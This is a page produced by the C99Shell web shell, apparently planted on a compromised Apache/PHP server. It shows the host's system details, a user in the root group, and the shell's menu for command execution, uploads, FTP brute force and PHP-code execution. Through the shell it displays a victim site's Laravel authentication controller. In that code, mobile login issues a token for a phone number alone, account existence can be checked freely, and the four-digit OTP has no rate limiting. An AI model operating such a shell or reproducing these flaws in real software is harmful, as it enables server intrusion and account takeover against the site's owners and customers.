!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smab.picotech.app/public_html/app/Http/Controllers/Api/   drwxr-xr-x
Free 29.39 GB of 117.98 GB (24.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ApiAuthController.php (15.15 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Api;

use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Crypt;
use 
App\Models\Customer;
use 
App\Models\Product;
use 
Validator;
use 
Carbon\Carbon;
use 
File;
use 
Response;
use 
Hash;
use 
Illuminate\Validation\Rule;
use 
Illuminate\Support\Facades\Config;
use 
App\Http\Controllers\Controller;
use 
Illuminate\Support\Str;
use 
Illuminate\Contracts\Mail\Mailer;
use 
Illuminate\Support\Facades\Input;
use 
Auth;
use 
DB;
use 
Mail;

class 
ApiAuthController extends Controller
{
    private 
$apiToken;
    
// public function __construct()
    // {
    //     $this->apiToken = uniqid(base64_encode(Str::random(10)));
    // }

    
public function __construct()
    {

    }

    public function 
register(Request $request)
    {

        
$validator Validator::make(
            
$request->all(),
            [
                
'firstname' => 'required|regex:/^[\pL\s\-]+$/u',
                
'email' => 'required|unique:customer,email',
                
'telephone' => 'required|max:10',
                
'password' => 'required|min:4',
            ]
        );

        if (
$validator->fails()) {
            
$message $this->one_validation_message($validator);
            return [
'status' => 0'message' => $message];
        } else {
            
$data = new Customer($request->only('firstname''lastname''email''telephone''creation'));
            
$data->password bcrypt($request->password);

            if (
$data->save()) {

                
$getAlertEmails config('settingConfig.config_alert_mail');

                
/*************************************************************
                    email configuration uncomment this code after setting up mail port ,username and password in .env file
                ******************************************************************/
                // if (strpos($getAlertEmails, 'Register') !== false) {
                //   Mail::send('admin.emails.registration', [], function ($m) use($request) {
                //       $m->from(config('settingConfig.config_email'), config('settingConfig.config_store_name'));
                //       $m->to($request->email, $request->firstname)->subject('Welcome To '.config('settingConfig.config_store_name'));
                //     });
                // }

                
$isFlutter $request->get('is_flutter'null);

                if (
$isFlutter) {
                    if (
Auth::guard('customer')->attempt(['email' => $data->email'password' => $request->password])) {
                        
$updateToken $data->update(['firebase_token' => $request->firebase_token]);
                        return [
'status' => 1'wishlistData' => [], 'cartCount' => '0''message' => "Customer created!"'data' => $data];
                    }
                } else {
                    return [
'status' => 1'message' => "Customer created!"'data' => $data];
                }
            } else {
                return [
'status' => 0'message' => "Error When create"];
            }

        }
    }

    public function 
login(Request $request)
    {


        
$validator Validator::make(
            
$request->all(),
            [
                
'email' => 'required',
                
'password' => 'required',
            ]
        );

        if (
$validator->fails()) {
            
$message $this->one_validation_message($validator);
            return [
'status' => 0'message' => $message];
        } else {
            
$customer Customer::select('id''email''image''image''firstname''lastname''telephone''creation')->where('email'$request->email)->first();
            if (
$customer) {
                
$data = array('email' => $request->email'password' => $request->password);

                
$credentials $request->only('email''password');
                
$token auth('api')->attempt($credentials);

                if (
$token) {
                    
$wishlistData DB::table("wishlist")->where('customer_id'$customer->id)->pluck('product_id');
                    
$cartCount DB::table("cart")->where('customer_id'$customer->id)->sum('quantity');
                    
$customer->update(['firebase_token' => $request->firebase_token]);
                    return [
'status' => 1'authToken' => $token'wishlistData' => $wishlistData'cartCount' => $cartCount == '0' $cartCount'message' => "Customer successfully login"'data' => $customer];
                } else {
                    return [
'status' => 0'message' => 'Email/Password Wrong''data' => json_decode('{}')];
                }
            } else {
                return [
'status' => 0'message' => 'Customer not found''data' => json_decode('{}'), 'code' => '401'];
            }
        }
    }

    public function 
loginUsingMobile(Request $request)
    {
        
$validator Validator::make(
            
$request->all(),
            [
                
'mobileNumber' => 'required',
            ]
        );

        if (
$validator->fails()) {
            
$message $this->one_validation_message($validator);
            return [
'status' => 0'message' => $message];
        } else {
            
$customer Customer::select('id''email''image''image''firstname''lastname''telephone''creation')
                ->
where('telephone'$request->mobileNumber)->first();
            if (
$customer) {

                
$token auth('api')->login($customer);

                if (
$token) {
                    
$wishlistData DB::table("wishlist")->where('customer_id'$customer->id)->pluck('product_id');
                    
$cartCount DB::table("cart")->where('customer_id'$customer->id)->sum('quantity');
                    
$customer->update(['firebase_token' => $request->firebase_token]);
                    return [
'status' => 1'authToken' => $token'wishlistData' => $wishlistData'cartCount' => $cartCount == '0' $cartCount'message' => "Customer successfully login"'data' => $customer];
                } else {
                    return [
'status' => 0'message' => 'Email/Password Wrong''data' => json_decode('{}')];
                }
            } else {
                return [
'status' => 0'message' => 'Customer not found''data' => json_decode('{}'), 'code' => '401'];
            }
        }
    }

    public function 
checkcustomer(Request $request)
    {
        
$find Customer::where('telephone'$request->mobileNumber)->first();

        
$status 0;
        if (
$find) {
            
$status 1;
        }
        return [
'status' => $status];
    }

    public function 
socialLogin(Request $request)
    {

        
//check exist
        
$findCustomer Customer::where('email'$request->email)->first();

        
//login customer
        
if ($findCustomer) {
            if (
$findCustomer->creation == $request->creation) {
                
$validator Validator::make(
                    
$request->all(),
                    [
                        
'email' => 'required',
                        
'password' => 'required',
                    ]
                );

                if (
$validator->fails()) {
                    
$message $this->one_validation_message($validator);
                    return [
'status' => 0'message' => $message'new' => 0];
                } else {
                    
$customer Customer::select('id''email''image''image''firstname''lastname''telephone''creation')->where('email'$request->email)->first();
                    if (
$customer) {
                        
$data = array('email' => $request->email'password' => $request->password);

                        
$token auth('api')->attempt($data);

                        if (
$token) {
                            
$wishlistData DB::table("wishlist")->where('customer_id'$customer->id)->pluck('product_id');
                            
$cartCount DB::table("cart")->where('customer_id'$customer->id)->sum('quantity');
                            
$customer->update(['firebase_token' => $request->firebase_token]);
                            return [
'status' => 1'authToken' => $token'wishlistData' => $wishlistData'cartCount' => $cartCount == '0' $cartCount'message' => "Customer successfully login"'data' => $customer];
                        } else {
                            return [
'status' => 0'message' => 'Email/Password Wrong''data' => json_decode('{}')];
                        }

                    } else {
                        return [
'status' => 0'message' => 'Customer not found''data' => json_decode('{}'), 'code' => '401''new' => 0];
                    }
                }
            } else {
                return [
'status' => 0'message' => 'Customer already exist with other social mail''new' => 0];
            }

        } else {
            return [
'status' => 0'message' => 'New customer''new' => 1];
        }

    }

    public function 
socialRegister(Request $request)
    {

        
$validator Validator::make(
            
$request->all(),
            [
                
'firstname' => 'required|regex:/^[\pL\s\-]+$/u',
                
'email' => 'required|unique:customer,email',
                
'telephone' => 'required|max:10',
                
'password' => 'required|min:4',
            ]
        );

        if (
$validator->fails()) {
            
$message $this->one_validation_message($validator);
            return [
'status' => 0'message' => $message];
        } else {
            
$data = new Customer($request->only('firstname''lastname''email''telephone''creation''social_id''image'));
            
$data->password bcrypt($request->password);

            if (
$data->save()) {
                
$sdata = array('email' => $request->email'password' => $request->password);
                if (
Auth::guard('customer')->attempt($sdata)) {
                    
$wishlistData DB::table("wishlist")->where('customer_id'$data->id)->pluck('product_id');
                    
$cartCount DB::table("cart")->where('customer_id'$data->id)->sum('quantity');
                    return [
'status' => 1'wishlistData' => $wishlistData'cartCount' => $cartCount'message' => "Customer successfully login"'data' => $data];
                } else {
                    return [
'status' => 0'message' => "Error When create"];
                }
            }
        }
    }

    public function 
one_validation_message($validator)
    {
        
$validation_messages $validator->getMessageBag()->toArray();
        
$validation_messages1 array_values($validation_messages);
        
$new_validation_messages = [];
        for (
$i 0$i count($validation_messages1); $i++) {
            
$inside_element count($validation_messages1[$i]);
            for (
$j 0$j $inside_element$j++) {
                
array_push($new_validation_messages$validation_messages1[$i]);
            }
        }
        return 
implode(' '$new_validation_messages[0]);
    }

    public function 
forgotPassword(Request $requestUser $user)
    {
        
$email $request->email;
        if (
$email) {
            
$findUser $user->where('email'$email)->first();
            if (
$findUser && $findUser->creation_mode == 'D') {
                
$encrypted Crypt::encryptString($findUser->id);

                
$message = [
                    
'title' => 'Forgot Password',
                    
'intro' => "Please click forgot link to reset password ",
                    
'link' => url('forgotPassword/' $encrypted),
                    
'confirmation_code' => '',
                    
'to_email' => $email,
                    
'to_name' => $findUser->first_name ' ' $findUser->last_name,
                ];

                
\Mail::send('email.forgotPassword'$message, function ($m) use ($message) {
                    
$m->to($message['to_email'], $message['to_name'])
                        ->
subject('Forgot Password');
                    
$m->from('support@infuzehydration.com''Reset Password');
                });
                return [
'status' => 1'message' => 'Check your mail!'];
            } else {
                return [
'status' => 0'message' => 'User not found!'];
            }
        } else {
            return [
'status' => 0'message' => 'Email required'];
        }
    }


    public function 
getForgotPassword($idUser $user)
    {
        
$id Crypt::decryptString($id);
        
$findUser $user->find($id);
        return 
view('forgotpassword.index'compact('findUser'));
    }


    
//forgot password
    
public function forgotPasswordEmail(Request $request)
    {

        
//find customer
        
$find Customer::where('email'$request->email)->first();

        if (
$find) {
            
$otp rand(10009999);
            
Mail::send('admin.emails.forgotPassword', ['otp' => $otp], function ($m) use ($find) {
                
$m->from(config('settingConfig.config_email'), config('settingConfig.config_store_name'));
                
$m->to($find->email$find->firstname)->subject('Forgot password OTP');
            });
            
$find->update(['code_sendon' => date('y-m-d H:i:s'), 'code' => $otp]);
            return [
'status' => 1'message' => 'Check your email address we send you OTP'];
        } else {
            return [
'status' => 0'message' => 'User not found!'];
        }
    }


    
//verify OTP
    
public function verifyOTP(Request $request)
    {
        
$user Customer::where('email'$request->email)->first();

        
//check time
        
$carbonNow Carbon::now();
        
$diff $carbonNow->diffInMinutes($user->code_sendon);

        if (
$diff 5) {
            return [
'status' => 0'message' => 'OTP code expired'];
        }

        
//check OTP
        
if ($request->otp == $user->code) {
            
$otpTOKEN Str::random(30);
            
$user->update(['otp_token' => $otpTOKEN]);
            return [
'status' => 1'message' => 'You can change your password.''otpToken' => $otpTOKEN];
        } else {
            return [
'status' => 0'message' => 'Invalid OTP'];
        }

    }

    
//resett password
    
public function resetPassword(Request $request)
    {
        
$find Customer::where('email'$request->email)->first();

        if (
$find) {
            if (
$find->otp_token == $request->otpToken) {
                
$find->update(['password' => Hash::make($request->new_password)]);
                return [
'status' => 1'message' => 'Password successfully reset try to login now'];
            } else {
                return [
'status' => 0'message' => 'Invalid Token'];
            }
        } else {
            return [
'status' => 0'message' => 'Invalid OTP'];
        }
    }


    public function 
logout()
    {
        
auth('api')->logout();
        return [
'status' => 1'message' => 'successfully logout!'];
    }
    
      public function 
deleteAccount()
    {
        
$customer Auth::guard('api')->user();
        
Customer::where('email'$customer->email)->delete();
        return [
'status' => 1'message' => 'successfully Deleted!'];
    }



}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]--